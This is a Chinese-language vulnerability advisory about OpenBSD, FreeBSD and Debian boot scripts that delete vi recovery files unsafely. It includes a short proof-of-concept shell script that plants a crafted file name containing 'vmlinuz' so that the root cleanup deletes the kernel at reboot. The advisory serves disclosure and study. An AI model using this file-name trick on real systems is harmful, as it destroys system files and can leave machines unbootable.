发布日期：2000-01-02
更新日期：2000-01-02

受影响系统：

OpenBSD
FreeBSD
Debian

描述：

---

OpenBSD/FreeBSD/Debian 的/etc/rc启动脚本在删除vi产生的文件时,没有进行安全检查.
可能导致恶意用户删除系统文件.

< 发现者: loneguard@CRAZYMONKEY.ORG >

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/bin/sh
#
# vibackup.sh - Loneguard 22/05/99
# Open/FreeBSD/Debian /etc/rc script insecurely removes old vi files allowing deletion
# of files
#
touch '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
chmod 700 '/var/tmp/vi.recover/vi.CrazyMonkey vmlinuz'
echo Now wait for ( or cause ) a reboot...



建议：

---

暂无

浏览次数：6897
严重程度：0（网友投票）